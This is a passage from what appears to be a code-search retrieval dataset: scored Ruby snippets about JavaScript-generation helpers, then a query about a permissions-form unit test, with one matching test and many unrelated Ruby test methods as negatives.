"5f79a90e2fecb995ddda5489d9537e36", "score": "0.47408995", "text": "def javascript path = nil, attrs = {}, &block\n contents = yield if block\n Tagz.tag :script, contents, { :type => 'text/javascript', :src => path }.merge(attrs)\n end", "title": "" }, { "docid": "00dd21af4af21c5b807dd05d45de3ccc", "score": "0.47271556", "text": "def field_with_templating(field_helper, class_name, method, options = {}) # :nodoc:\n options = { :templated_javascript => true }.merge(options)\n klass = class_name_from_options_object_or_class_name(class_name, options)\n instance = options[:object] || self.instance_variable_get(\"@#{class_name}\")\n template_options = klass.templated_attributes_options[method.to_sym]\n\n # If calling method on object returns nil, use template value instead\n field_value = instance.__send__(method.to_sym)\n if field_value.nil? || field_value.strip.empty?\n field_value = template_options[:value]\n end\n \n # Only use javascript if not explicitly disabled in options with\n # <tt>:templated_javascript => false</tt>\n if options.delete(:templated_javascript)\n javascript_string = javascript_tag \\\n \"Event.observe(window, 'load', function() { new TemplatedAttribute($('#{class_name}_#{method}'),\n '#{template_options[:type]}', '#{template_options[:value]}'); });\"\n else\n javascript_string = ''\n end\n \n # output using the original method with our modified form field value,\n # plus the javascript\n send(\"#{field_helper}_without_templating\".to_sym, klass.to_s.underscore, method, options.merge({:value => field_value})) + javascript_string\n end", "title": "" }, { "docid": "5f31ad2c2cb3e9f841f1d6c037611cf5", "score": "0.472598", "text": "def script(&block)\n\t\t\t@script = block\n\t\tend", "title": "" }, { "docid": "420901a87b88a39387c1550fe5728bb9", "score": "0.4720544", "text": "def method_missing(method, *args, &block)\n if method[-1] == '='\n # setter\n key = method.slice(0...-1).to_sym\n\n unless has_key?(key)\n super\n end\n self[key] = args[0]\n else\n unless has_key?(method)\n super\n end\n\n prop = self[method]\n if prop.is_a? JSFunction\n prop.call_with_instance(self, *args, &block)\n else\n prop\n end\n end\n end", "title": "" }, { "docid": "773bc9770cbe452ee5a70dccd92700fd", "score": "0.471734", "text": "def analytics_set_custom_var(index, name, value, opt_scope = 3)\n analytics_render_event(GA::Events::SetCustomVar.new(index, name, value, opt_scope))\n end", "title": "" }, { "docid": "a3a4e79943a6862966746cc8d9b0d33c", "score": "0.47072303", "text": "def javascript(js=nil)\n @javascript ||= []\n @javascript << js\n @javascript.join(\"\\n\")\n end", "title": "" }, { "docid": "0dc4a1a298eb3f60a06115aba7188d69", "score": "0.47037822", "text": "def set_var(var, value)\n insert_to_page('script', \"document.#{var} = #{value};\", false)\n end", "title": "" }, { "docid": "7eea86e141dbfb0874eee05ff9fd517a", "score": "0.4697439", "text": "def <<(javascript)\n self.script << javascript\n \n javascript\n end", "title": "" }, { "docid": "e605a115c847bb4b0e558b1810b49624", "score": "0.46832287", "text": "def getPropertyStatementDisplay(statement, property_uri, property_domain_uri, property_range_uri, property_type, partial_name, property_template_name, property_collated_by_subclass = false)\n \n display_statement_values = \"\"\n # Data property default\n if(statement.has_key?(\"value\") and statement[\"value\"] != nil and statement[\"value\"].gsub(/\\s+/, \"\") != \"\")\n \n Rails.logger.debug(\"Property #{property_uri.inspect} and data PROP and partial not nil #{partial_name.inspect}\")\n display_statement_values= render(partial: partial_name, locals: {statement: statement,\n property_uri: property_uri,\n property_domain_uri: property_domain_uri,\n property_range_uri: property_range_uri,\n property_type: property_type, property_template_name: property_template_name})\n \n \n \n \n end #if statement.has_key\n # if object, we may be in for a different situation\n if(property_type == \"object\" and statement.has_key?(\"allData\")) \n # Print out all the data\n display_statement_values = render(partial: partial_name, locals: {statement: statement,\n property_uri: property_uri,\n property_domain_uri: property_domain_uri,\n property_range_uri: property_range_uri,\n property_type: property_type, property_template_name: property_template_name, property_collated_by_subclass: property_collated_by_subclass})\n \n end\n \n return display_statement_values\n end", "title": "" }, { "docid": "11ad17a74b29f2ef1ef37a8f3ec137be", "score": "0.46692795", "text": "def javascript_path=(_arg0); end", "title": "" }, { "docid": "9e520af165f5387ef90e5837fbddd5cf", "score": "0.4668936", "text": "def jmaki_generate_script(script)\n \"<script type='text/javascript'>\" + script + \"</script>\\n\"\n end", "title": "" }, { "docid": "fe5f48ea506f14fe91c67e43707d961c", "score": "0.4668731", "text": "def js_to_ruby_object declaration\n ExecJS.exec(\"var window = {}; #{declaration} return window;\")\n end", "title": "" }, { "docid": "3e4bf7660b1a34a04a56a73236b7929b", "score": "0.46653324", "text": "def gen_put_variable(code_array, name)\n if name.kind_of?(JSValue)\n assert(name.type == :identifier)\n name = name.value\n end\n\n res = resolve_variable(name)\n if res\n type, link, idx = res\n if link == 0\n code_array.push(type == :formal ? :INSN_PUTFORMAL : :INSN_PUTLVAR)\n code_array.push(idx)\n else\n code_array.push(type == :formal ? :INSN_PUTFORMALEX : :INSN_PUTLVAREX)\n code_array.push(link)\n code_array.push(idx)\n end\n else\n # global variable\n code_array.push(:INSN_GETGLOBAL)\n code_array.push(:INSN_CONST)\n code_array.push(JSValue.new_string(name))\n code_array.push(:INSN_PUTPROP)\n end\n end", "title": "" }, { "docid": "f97ef50710ba7840ef76e63d9fbd2713", "score": "0.46616736", "text": "def java_script_object\n @js_wrapper\n end", "title": "" }, { "docid": "ee8a60a8df5b4f42a8978d2e7f07c547", "score": "0.46555007", "text": "def to_js\n val.to_s\n end", "title": "" }, { "docid": "a27d9491465348deba57a07fabc45904", "score": "0.46382087", "text": "def to_js\n \"var #{@name}\t\t= new google.maps.MarkerImage(\n \\\"#{@image_url}\\\",\n google.maps.Size(#{@width},#{@height}),\n google.maps.Point(0,0),\n google.maps.Point(#{@anchor_x},#{@anchor_y}),\n google.maps.Size(#{@width},#{@height})\n );\n \"\n\n\n end", "title": "" }, { "docid": "652e7924decb93cf7203571f330d3733", "score": "0.46287146", "text": "def scaffold_javascript_tag(javascript)\n \"<script type='text/javascript'>\\n//<![CDATA[\\n#{javascript}\\n//]]>\\n</script>\"\n end", "title": "" }, { "docid": "64d27701ec232e3e217025c8149bb274", "score": "0.46266207", "text": "def property property\n\t\tret = '@property '\n\n\t\tcase property.type\n\t\twhen 'int' then ret << '(nonatomic) int '\n\t\twhen 'bool' then ret << '(nonatomic) BOOL '\n\t\twhen 'flt' then ret << '(nonatomic) float '\n\t\twhen 'str' then ret << '(strong, nonatomic) NSString * '\n\t\twhen 'arr' then ret << '(strong, nonatomic) NSArray * '\n\t\twhen 'dict' then ret << '(strong, nonatomic) NSDictionary * '\n\t\telse\n\t\t\t#fallthrough: a custom object was provided\n\t\t\tret << \"(strong, nonatomic) #{property.type} * \"\n\t\tend\n\n\t\tret << property.name << \";\\n\"\n\t\tret\n\tend", "title": "" }, { "docid": "b8cc899848f89c5123ef7c604c428ef8", "score": "0.46211642", "text": "def js_partial(name, options={})\n old_format = self.template_format\n self.template_format = :html\n js render({ :partial => name }.merge(options))\n ensure\n self.template_format = old_format\n end", "title": "" }, { "docid": "74c1065255a3a0f6b7633162805b6b19", "score": "0.46190178", "text": "def nonced_javascript_tag(content_or_options = {}, &block)\n nonced_tag(:script, content_or_options, block)\n end", "title": "" }, { "docid": "7a094352a836060fc581ba6240dd0fcb", "score": "0.4614507", "text": "def setCustomJavascript(javascript)\n if (!(!javascript.nil? && !javascript.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(javascript, \"setCustomJavascript\", \"html-to-image\", \"The string must not be empty.\", \"set_custom_javascript\"), 470);\n end\n \n @fields['custom_javascript'] = javascript\n self\n end", "title": "" }, { "docid": "53beeb654fb0347c7fa081ff6e779581", "score": "0.46039897", "text": "def push_ivar\n <<-CODE\n next_literal;\n stack_push(object_get_ivar(state, c->self, _lit));\n CODE\n end", "title": "" }, { "docid": "0eb2997364c51c47da1c018aa48efb9e", "score": "0.45989382", "text": "def params_js(params)\n params.inject([]) do |result, param|\n result << \"var #{param[:id]} = #{get_element_value(param[:value])}\" if param[:value][:type] == \"element\"\n result\n end.join(\"\\n\")\n end", "title": "" }, { "docid": "d0e20a0e83f4092f66a9f3d7bfdbb1f9", "score": "0.45931527", "text": "def javascript_library=(jslib)\n require \"scaffolding_extensions/#{jslib.downcase}_helper\"\n ScaffoldingExtensions::Helper.send(:include, const_get(\"#{jslib}Helper\"))\n end", "title": "" }, { "docid": "fefbb7f7da0a03f39a4293c231aa5975", "score": "0.45914492", "text": "def javascript_fix\n ';' \n end", "title": "" }, { "docid": "434835e3d914dc1d2825f45562f56307", "score": "0.4580845", "text": "def var=(var)\n write_attr :var, var\n end", "title": "" }, { "docid": "477f0a9d1bcc595bdfb4f5b116b72a20", "score": "0.45765698", "text": "def js name, version='', options={}\n component name, version, options.merge(js: true)\n end", "title": "" }, { "docid": "ae8144eaac2b20b58826585b69c78df8", "score": "0.45553648", "text": "def editable_field (object, property, options={})\n update_url = options.delete(:update_url) || url_for(object)\n id = \"text-editor-#{property}-#{object.class.to_s.underscore}-#{object.id}\"\n prop_name = \"#{object.class.to_s.underscore}[#{property}]\"\n value = object.send(property)\n %{\n <span id=\"#{id}\"></span>\n <script type=\"text/javascript\">\n (function() {\n var props = {\n data: {\n \"#{prop_name}\": #{value.to_json}\n },\n updateUrl: \"#{update_url}\",\n propName: \"#{prop_name}\",\n placeholder: \"#{options[:placeholder]}\"\n };\n EditableField = React.createElement(modulejs.require('components/authoring/editable_field'), props);\n ReactDOM.render(EditableField, $(\"##{id}\")[0]);\n }());\n </script>\n }.html_safe\n end", "title": "" }, { "docid": "e146f41950cf7d24f229b7d837c56c22", "score": "0.4548762", "text": "def _property(p_name)\n __t_stringish(p_name)\n _jinja.properties[__attribute_key(p_name)]\n end", "title": "" }, { "docid": "f3ff79ca30cfbdb302b16adc792e3f78", "score": "0.45425618", "text": "def set_ivar\n <<-CODE\n next_literal;\n t2 = stack_pop();\n object_set_ivar(state, c->self, _lit, t2);\n stack_push(t2);\n CODE\n end", "title": "" }, { "docid": "d6a46a2375dce7e2fc90decce0ddeec2", "score": "0.45371598", "text": "def js_params(options)\n opt = []\n\n options.each_pair do |k, v|\n opt << \"scribd_doc.addParam('#{k}', '#{v}');\" if Available_JS_Params.include?(k)\n end\n\n opt.compact.join(\"\\n\")\n end", "title": "" }, { "docid": "dff18b92c34b86146fd61345cef69b03", "score": "0.4535511", "text": "def set live_property, *data\n #puts \"set #{live_property} = #{data.inspect}\"\n attribute, variable = attribute_for live_property\n value = data.first\n\n # We rely on get() initializing an instance variable to determine\n # if we're actually setting a property or just handling the results of a call()\n if instance_variables.include? variable.to_sym\n instance_variable_set variable, value\n end\n\n if attribute == :live_id and not exists?\n @object_not_found_callback.call(@object_path) if @object_not_found_callback\n else\n callback = @callbacks[attribute]\n callback.call(*data) if callback\n end\n end", "title": "" }, { "docid": "f038fe498d5b8a1c1244b84b410e55f3", "score": "0.45343184", "text": "def update(options={})\n content = render(options)\n Apotomo.js_generator.update(options[:selector] || self.name, content)\n end", "title": "" }, { "docid": "1adf72f86a2e94b0ba37b604a83a38f2", "score": "0.4521212", "text": "def property(name, default=0, &block)\n define_db_property(name, default, &block)\n end", "title": "" }, { "docid": "b6109e6f657171cdcf065d1539ecdff3", "score": "0.45193967", "text": "def profile_property_column(options={}, &proc)\n td_options = {:style => \"vertical-align:top;\"}\n if block_given?\n concat tag(:td, options.merge(td_options), true), proc.binding\n yield\n concat \"</td>\", proc.binding\n else\n html = \"\"\n html << tag(:td, options.merge(td_options), true)\n html << options.delete( :content )\n html << \"</td>\"\n end\n end", "title": "" }, { "docid": "c302ce76a0d9e734ee9eaa5e496515b3", "score": "0.45179835", "text": "def to_html(options = {})\r\n no_load = options[:no_load]\r\n no_script_tag = options[:no_script_tag]\r\n no_declare = options[:no_declare]\r\n no_global = options[:no_global]\r\n fullscreen = options[:full]\r\n load_pr = options[:proto_load] #to prevent some problems when the onload event callback from Prototype is used\r\n \r\n html = \"\"\r\n html << \"<script type=\\\"text/javascript\\\">\\n\" if !no_script_tag\r\n #put the functions in a separate javascript file to be included in the page\r\n html << @global_init * \"\\n\"\r\n html << \"var #{@variable};\\n\" if !no_declare and !no_global\r\n if !no_load\r\n if load_pr\r\n html << \"Event.observe(window,'load',\"\r\n else\r\n html << \"window.onload = addCodeToFunction(window.onload,\"\r\n end\r\n html << \"function() {\\n\"\r\n end\r\n\r\n html << \"if (GBrowserIsCompatible()) {\\n\" \r\n \r\n if fullscreen\r\n #Adding the initial resizing and setting up the event handler for\r\n #future resizes\r\n html << \"setWindowDims(document.getElementById('#{@container}'));\\n\"\r\n html << \"if (window.attachEvent) { window.attachEvent(\\\"onresize\\\", function() {setWindowDims(document.getElementById('#{@container}'));})} else {window.addEventListener(\\\"resize\\\", function() {setWindowDims(document.getElementById('#{@container}')); } , false);}\\n\"\r\n end\r\n \r\n if !no_declare and no_global \r\n html << \"#{declare(@variable)}\\n\"\r\n else\r\n html << \"#{assign_to(@variable)}\\n\"\r\n end\r\n html << @init_begin * \"\\n\"\r\n html << @init * \"\\n\"\r\n html << @init_end * \"\\n\"\r\n html << \"\\n}\\n\"\r\n html << \"});\\n\" if !no_load\r\n html << \"</script>\" if !no_script_tag\r\n \r\n if fullscreen\r\n #setting up the style in case of full screen\r\n html << \"<style>html, body {width: 100%; height: 100%} body {margin-top: 0px; margin-right: 0px; margin-left: 0px; margin-bottom: 0px} ##{@container} {margin: 0px;} </style>\"\r\n end\r\n \r\n html\r\n end", "title": "" }, { "docid": "de03e807985050df0bc3f15acdd0a00a", "score": "0.45169657", "text": "def js_generator\n Apotomo.js_generator\n end", "title": "" }, { "docid": "6d76adc2433c8e0fabd50238ce0baa44", "score": "0.4505095", "text": "def to_js\n \"var #{@name} = new google.maps.InfoWindow({\n content: \\\"#{@content}\\\"\n });\n \"\n\n\n end", "title": "" } ]
39cf011f23aede1102fedba1ffeb72dd
Test Q14 d) > a c
[ { "docid": "1a475f65acea9c959ecf6f8c392305b4", "score": "0.5410462", "text": "def test_q14_d_ac\n test_agreement = create_test_agreement\n params = HashWithIndifferentAccess.new\n params[:q14] = 'd'\n params[:q14_d_a] = \"true\"\n params[:q14_d_c] = \"true\"\n\n form_processor = Manuscripts.new\n form_processor.process_question(test_agreement.agreementid.to_i, '14', params, 'UNIT_TESTING')\n\n permissions = test_agreement.active_permissions\n\n # Check Permissions created\n assert_equal 3, permissions.length, \"Incorrect number of permissions created\"\n assert_equal 3, form_processor.permission_count, \"Incorrect count of permissions on form processor\"\n\n #Check Permissions match rules\n assert_equal 1, permissions.select{|p| p.rule==\"r31\"}.length, \"Incorrect rule created\"\n assert_equal 1, permissions.select{|p| p.rule==\"r33\"}.length, \"Incorrect rule created\"\n assert_equal 1, permissions.select{|p| p.rule==\"r50\"}.length, \"Incorrect rule created\"\n end", "title": "" } ]
[ { "docid": "453fff157ce8b88abee60d5ce7e9ba2e", "score": "0.66211194", "text": "def test_qm(tree)\n print \"Quine Mc Cluskey algorithm on expression=[#{tree}]...\\n\"\n simple = tree.simplify()\n print \"result: [#{tree}]\\n\"\n cover = tree.to_cover\n check0 = (cover + simple.complement).is_tautology?\n # check0 = same_truth_table?(cover,simple)\n # assert_equal(true,check0)\n print \"check 0 = #{check0}\\n\"\n raise \"Test failure\" unless check0\n check1 = (cover.complement + simple).is_tautology?\n # assert_equal(true,check1)\n print \"check 1 = #{check1}\\n\"\n raise \"Test failure\" unless check1\n return true\n end", "title": "" }, { "docid": "6dcbe180c719978ae464976f4c196b00", "score": "0.64722246", "text": "def test_qm(tree,generator)\n print \"Quine Mc Cluskey algorithm on expression=[#{tree}]...\\n\"\n simple = tree.simplify()\n print \"result: [#{simple}]\\n\"\n cover = tree.to_cover(*generator.each_variable)\n # print \"cover=#{cover}\\n\"\n simple_cover = simple.to_cover(*generator.each_variable)\n # print \"simple_cover=#{simple_cover}\\n\"\n check0 = (cover + simple_cover.complement).is_tautology?\n # check0 = same_truth_table?(cover,simple)\n # assert_equal(true,check0)\n print \"check 0 = #{check0}\\n\"\n raise \"Test failure\" unless check0\n check1 = (cover.complement + simple_cover).is_tautology?\n # assert_equal(true,check1)\n print \"check 1 = #{check1}\\n\"\n raise \"Test failure\" unless check1\n return true\n end", "title": "" }, { "docid": "8f0164265b19b350e43c238651b194e7", "score": "0.63963854", "text": "def q_and_a\n end", "title": "" }, { "docid": "9a58eda6e360a51536b5e8efd6484c92", "score": "0.63901955", "text": "def test?\n\t\t@a+@b > @c && @a+@c > @b && @b+@c > @a\n\tend", "title": "" }, { "docid": "e2908a0dc085b939556a70de59d408ab", "score": "0.6335046", "text": "def test_sub_basement\n assert_equal -3, Instructions.parse(\")))\").execute\n assert_equal -3, Instructions.parse(\")())())\").execute\n end", "title": "" }, { "docid": "1ceebdc448580d70da0cd4db6bde36a1", "score": "0.6216378", "text": "def test_dsl_9\n #---------------------------------------------\n show Paper + ((Spock + Paper) - Lizard + Rock)\n #---------------------------------------------\n assert_equal \\\n \"Paper disproves Spock (winner Paper)\\n\" \\\n \"Lizard eats Paper (loser Paper)\\n\" \\\n \"Paper covers Rock (winner Paper)\\n\" \\\n \"Paper tie (winner Paper)\\n\" \\\n \"Result = Paper\\n\", \\\n @out.string\n end", "title": "" }, { "docid": "1ceebdc448580d70da0cd4db6bde36a1", "score": "0.6216378", "text": "def test_dsl_9\n #---------------------------------------------\n show Paper + ((Spock + Paper) - Lizard + Rock)\n #---------------------------------------------\n assert_equal \\\n \"Paper disproves Spock (winner Paper)\\n\" \\\n \"Lizard eats Paper (loser Paper)\\n\" \\\n \"Paper covers Rock (winner Paper)\\n\" \\\n \"Paper tie (winner Paper)\\n\" \\\n \"Result = Paper\\n\", \\\n @out.string\n end", "title": "" }, { "docid": "ec803bc910224c53cad4e3a307ae4d5a", "score": "0.6093441", "text": "def test_dsl_8\n #-------------------------------------------------\n show((Rock + Paper) - (Scissors + Lizard) + Spock)\n #-------------------------------------------------\n assert_equal \\\n \"Paper covers Rock (winner Paper)\\n\" \\\n \"Scissors decapitate Lizard (winner Scissors)\\n\" \\\n \"Scissors cut Paper (loser Paper)\\n\" \\\n \"Paper disproves Spock (winner Paper)\\n\" \\\n \"Result = Paper\\n\", \\\n @out.string\n end", "title": "" }, { "docid": "ec803bc910224c53cad4e3a307ae4d5a", "score": "0.6093441", "text": "def test_dsl_8\n #-------------------------------------------------\n show((Rock + Paper) - (Scissors + Lizard) + Spock)\n #-------------------------------------------------\n assert_equal \\\n \"Paper covers Rock (winner Paper)\\n\" \\\n \"Scissors decapitate Lizard (winner Scissors)\\n\" \\\n \"Scissors cut Paper (loser Paper)\\n\" \\\n \"Paper disproves Spock (winner Paper)\\n\" \\\n \"Result = Paper\\n\", \\\n @out.string\n end", "title": "" }, { "docid": "8982b6a79f3429e15698290ef43390a0", "score": "0.6016054", "text": "def test_get_gold_sutter_creek\n\t\tcurrent_city = \"Sutter Creek\"\n\t\tassert_operator 2, :>=, @test_sim.get_gold(current_city)\n\tend", "title": "" }, { "docid": "e6c9b5f25b317636fe54a462566cf9d9", "score": "0.5996104", "text": "def test_multi_densa_dispersa\n\t\tassert_equal(@h13.m, @h9*@h10, \"Resultado Incorrecto\" )\n\tend", "title": "" }, { "docid": "46998c79c90db93d2ee9767bee729bd5", "score": "0.59930825", "text": "def test_3\n 1/0\n return true\n end", "title": "" }, { "docid": "46998c79c90db93d2ee9767bee729bd5", "score": "0.59930825", "text": "def test_3\n 1/0\n return true\n end", "title": "" }, { "docid": "cbb630e86216d9925d91d75440b17c18", "score": "0.59352046", "text": "def itsOKquestion(test)\nif(test.to_i<4||test.to_i>30)\n\treturn false\nend\nreturn true\nend", "title": "" }, { "docid": "3a0ed37bfb17c783657ed80d7a95842e", "score": "0.5933854", "text": "def test_number_three\n result = expanded_form(80504)\n assert_not_same(\"80504 = 80000 + 500 + 4\",result)\n end", "title": "" }, { "docid": "dea7d65c2a6d0877ccf112fa6d27fae6", "score": "0.5917951", "text": "def ap_geq_3?; end", "title": "" }, { "docid": "e379ca80c100e08c41b1b934a243ed73", "score": "0.5889023", "text": "def a(n) 5 < n end", "title": "" }, { "docid": "40e3f8b600ab07e0f728d44fef44a7be", "score": "0.5842622", "text": "def test\n if @a.to_i != 0 && @b.to_i != 0 && @c.to_i != 0\n if @a == @b && @a == @c\n return 1\n elsif @a**2 == @b**2 + @c**2 || @b**2 == @a**2 + @c**2 || @c**2 == @b**2 + @a**2\n return 4\n elsif (@a == @b && @a != @c) || (@b == @c && @a != @c) || (@a == @c && @b != @c)\n return 2\n elsif @a != @b && @a != @c && @c != @b\n return 3\n end\n else\n return 5\n end\n end", "title": "" }, { "docid": "0c944c66b5b4d9fc1bb258b3e57d1d86", "score": "0.5794741", "text": "def test_basement\n assert_equal -1, Instructions.parse(\"())\").execute\n assert_equal -1, Instructions.parse(\"))(\").execute\n end", "title": "" }, { "docid": "ff881aadf880dbd75ffb9cc095831654", "score": "0.57767874", "text": "def test_dsl_5\n #---------------------------\n show Spock + (Lizard + Rock)\n #---------------------------\n assert_equal \\\n \"Rock crushes Lizard (winner Rock)\\n\" \\\n \"Spock vaporizes Rock (winner Spock)\\n\" \\\n \"Result = Spock\\n\", \\\n @out.string\n end", "title": "" }, { "docid": "ff881aadf880dbd75ffb9cc095831654", "score": "0.57767874", "text": "def test_dsl_5\n #---------------------------\n show Spock + (Lizard + Rock)\n #---------------------------\n assert_equal \\\n \"Rock crushes Lizard (winner Rock)\\n\" \\\n \"Spock vaporizes Rock (winner Spock)\\n\" \\\n \"Result = Spock\\n\", \\\n @out.string\n end", "title": "" }, { "docid": "7177a8bf016420397dfb9c637321f5c1", "score": "0.5768875", "text": "def check a,b,c\r\n\tif (a + b + c == 1000) and (a < b and b < c)\r\n\t\treturn (a**2 + b**2 == c**2)\r\n\tend\r\n\t\r\n\tfalse\r\nend", "title": "" }, { "docid": "8c00ae808c928901f9c08a6fecb0d9ac", "score": "0.5765722", "text": "def satisfied(c, ci, cv)\n not null(c, ci, cv) and not terminal(c, ci, cv) and q(c, ci, cv)\nend", "title": "" }, { "docid": "cfd6afb960e9284d47e42f1c348c22b9", "score": "0.5749482", "text": "def test_uts_at_m_022\n qac_tool = AnalyzeTool.find(1)\n assert AnalyzeTool.qac,qac_tool\n end", "title": "" }, { "docid": "773d606964cb3dd3d15e4f757850c39c", "score": "0.57466495", "text": "def test_get_gold_coloma\n\t\tcurrent_city = \"Coloma\"\n\t\tassert_operator 3, :>=, @test_sim.get_gold(current_city)\n\tend", "title": "" }, { "docid": "6df750e54835732b931528c4f1deabcb", "score": "0.573577", "text": "def test_14\n tests = {\n \" 17 + 3 \" => ['17', ' 17', ' + 3 '],\n \" -17 + 3 \" => ['-17', ' -17', ' + 3 '],\n \" 0 + 17 \" => ['0', ' 0', ' + 17 '],\n }\n\n tests.each do |input, a|\n expected_value, expected_raw, expected_rest = a\n token, value, raw, rest = @sql.lex(input)\n assert_equal(:integer, token, \"input: #{input}\")\n assert_equal(expected_value, value, \"input: #{input}\")\n assert_equal(expected_raw, raw, \"input: #{input}\")\n assert_equal(expected_rest, rest, \"input: #{input}\")\n end\n\n end", "title": "" }, { "docid": "03b365d783698fc4f1cdb293669ab52a", "score": "0.5734191", "text": "def test_get_gold_angels_camp\n\t\tcurrent_city = \"Angels Camp\"\n\t\tassert_operator 4, :>=, @test_sim.get_gold(current_city)\n\tend", "title": "" }, { "docid": "e96c70a313f28b42f73727eb68167afc", "score": "0.5730623", "text": "def seq_leq16 a, b\n\t\t\tval = a - b\n\t\t\tif val == -65535\n\t\t\t\tval = 1 \n STDERR.puts \"Wrap-around of T->O seq cnter\"\n\t\t\tend\n# STDERR.puts \"a:#{a} b:#{b} (short)(a-b)#{val}\"\n\t\t\tval <= 0\n\t\tend", "title": "" }, { "docid": "d3a46fc4f016cf556fc1cf672fe5624b", "score": "0.56956774", "text": "def test_mus_cath_c\n\t\tassert_equal 0, @methods.check_new_c('Museum', 'Hillman')\n\tend", "title": "" }, { "docid": "2720e955b94f5972ad7dfe3106f243a6", "score": "0.5684953", "text": "def qa\n end", "title": "" }, { "docid": "2720e955b94f5972ad7dfe3106f243a6", "score": "0.5684953", "text": "def qa\n end", "title": "" }, { "docid": "319c6e357937b8ceb0450c9d7379dc98", "score": "0.5660007", "text": "def test_uts_at_m_023\n qacpp_tool = AnalyzeTool.find(2)\n assert AnalyzeTool.qacpp,qacpp_tool\n end", "title": "" }, { "docid": "b284d8889ccab678edf5882af5c95e9b", "score": "0.5658768", "text": "def test_10_check_name\n assert_operator risc(10) , :- , :r6 , :r1\n end", "title": "" }, { "docid": "28d7f5f91c755f5878e2b6ae5ca85ee2", "score": "0.5655531", "text": "def test_angenehm?\n assert_equal(true, angenehm?(16))\n assert_equal(true, angenehm?(22))\n assert_equal(false, angenehm?(40))\n assert_equal(false, angenehm?(2))\n end", "title": "" }, { "docid": "267d6fe6dc5aed67ed8e181eb9388d90", "score": "0.56399107", "text": "def test_inequality_chaining\n #p @s.rucas {1 < x < 2}\n #axes(\"(1 < x) & (x < 10)\") {1 < x < 10} -- ?? maybe\n end", "title": "" }, { "docid": "f276a3f177255762e621a15ff61772bd", "score": "0.56307375", "text": "def advanced_calc\nprint \"(p)ower, (s)qrt: \"\nend", "title": "" }, { "docid": "863016b99dce9c5ca0bada08378e361b", "score": "0.5630065", "text": "def test_qm_all(test = nil)\n generator = Generator.new(\"a\",\"b\",\"c\",\"d\")\n generator.seed = @seed\n if test then\n test = test.to_i\n print \"Test #{test}: \"\n return test_qm(generator.make_std_conj(test))\n else\n generator.each_std_conj.with_index do |tree,i|\n print \"Test #{i}: \"\n return false unless test_qm(tree)\n end\n return true\n end\n end", "title": "" }, { "docid": "6a47ff530eec2517326906bfd08ecbca", "score": "0.5625352", "text": "def test_5\n assert_equal(solution('cdcdcdcdeeeef'), 'YES')\n end", "title": "" }, { "docid": "a5151215c263a22927f4910e4c4d04c3", "score": "0.5618256", "text": "def test_dsl_6\n #--------------------------------------------\n show Rock + Paper + Scissors + Lizard + Spock\n #--------------------------------------------\n assert_equal \\\n \"Paper covers Rock (winner Paper)\\n\" \\\n \"Scissors cut Paper (winner Scissors)\\n\" \\\n \"Scissors decapitate Lizard (winner Scissors)\\n\" \\\n \"Spock smashes Scissors (winner Spock)\\n\" \\\n \"Result = Spock\\n\", \\\n @out.string\n end", "title": "" }, { "docid": "a5151215c263a22927f4910e4c4d04c3", "score": "0.5618256", "text": "def test_dsl_6\n #--------------------------------------------\n show Rock + Paper + Scissors + Lizard + Spock\n #--------------------------------------------\n assert_equal \\\n \"Paper covers Rock (winner Paper)\\n\" \\\n \"Scissors cut Paper (winner Scissors)\\n\" \\\n \"Scissors decapitate Lizard (winner Scissors)\\n\" \\\n \"Spock smashes Scissors (winner Spock)\\n\" \\\n \"Result = Spock\\n\", \\\n @out.string\n end", "title": "" }, { "docid": "01f442720d3d5b8159b36c764dec345d", "score": "0.5613672", "text": "def test_determinarcajas\n print validate(271111, determinarcajas(0.50,0.30,0.05,1525))\n print validate(102564, determinarcajas(0.65,0.40,0.10,2000))\n print validate(58333, determinarcajas(0.80,0.50,0.20,3500))\nend", "title": "" }, { "docid": "36d6426b60095cdd1428a9f39841eb63", "score": "0.56062794", "text": "def expected; end", "title": "" }, { "docid": "4d5f46589f13e8dcecb993a5d3aec56f", "score": "0.5605984", "text": "def test_dsl_7\n #--------------------------------------------\n show Rock - Paper - Scissors - Lizard - Spock\n #--------------------------------------------\n assert_equal \\\n \"Paper covers Rock (loser Rock)\\n\" \\\n \"Rock crushes Scissors (loser Scissors)\\n\" \\\n \"Scissors decapitate Lizard (loser Lizard)\\n\" \\\n \"Lizard poisons Spock (loser Spock)\\n\" \\\n \"Result = Spock\\n\", \\\n @out.string\n end", "title": "" }, { "docid": "4d5f46589f13e8dcecb993a5d3aec56f", "score": "0.5605984", "text": "def test_dsl_7\n #--------------------------------------------\n show Rock - Paper - Scissors - Lizard - Spock\n #--------------------------------------------\n assert_equal \\\n \"Paper covers Rock (loser Rock)\\n\" \\\n \"Rock crushes Scissors (loser Scissors)\\n\" \\\n \"Scissors decapitate Lizard (loser Lizard)\\n\" \\\n \"Lizard poisons Spock (loser Spock)\\n\" \\\n \"Result = Spock\\n\", \\\n @out.string\n end", "title": "" }, { "docid": "050d35b07d85388be38ee243b424403a", "score": "0.5596143", "text": "def q(cn, ci, t)\n @state[COMMITMENT].any? {|cterms|\n c = cterms[0]\n if cterms.size == 4 and cterms[1] == ci and state(VAR, c, ci, t)\n d = cterms[2]\n a = cterms[3]\n case cn\n when C1 then @state[DIAGNOSISPROVIDED].any? {|terms| terms.size == 2 and terms[0] == d and terms[1] == a}\n when C2 then @state[IAPPOINTMENTKEPT].any? {|terms| terms.size == 2 and terms[0] == d}\n when C3 then @state[BAPPOINTMENTKEPT].any? {|terms| terms.size == 2 and terms[0] == d}\n when C4 then @state[IMAGINGRESULTSREPORTED].any? {|terms| terms.size == 3 and terms[0] == d and terms[1] == a and list(terms[2]) == t}\n when C5 then @state[RADPATHRESULTSREPORTED].any? {|terms| terms.size == 3 and terms[0] == d and terms[1] == a}\n when C6 then @state[PATHRESULTSREPORTED].any? {|terms| terms.size == 3 and terms[0] == a}\n when C7 then @state[INREGISTRY].any? {|terms| terms.size == 1 and list(terms[0]) == t}\n end\n end\n }\nend", "title": "" }, { "docid": "82cf0430b381f4aac782907c83d02904", "score": "0.5591928", "text": "def test_qm_all(test = nil)\n generator = Generator.new(\"a\",\"b\",\"c\",\"d\")\n generator.seed = @seed\n if test then\n test = test.to_i\n print \"Test #{test}: \"\n return test_qm(generator.make_std_conj(test),generator)\n else\n generator.each_std_conj.with_index do |tree,i|\n print \"Test #{i}: \"\n return false unless test_qm(tree,generator)\n end\n return true\n end\n end", "title": "" }, { "docid": "d61f38663f1f629b7158563cafa561dd", "score": "0.5584975", "text": "def test_arithmetic\n s = Scope.new; s.rucas { var :p; var :q }\n assert_equal \"p + q\", s.rucas{ p + q }.to_s\n assert_equal \"p - q\", 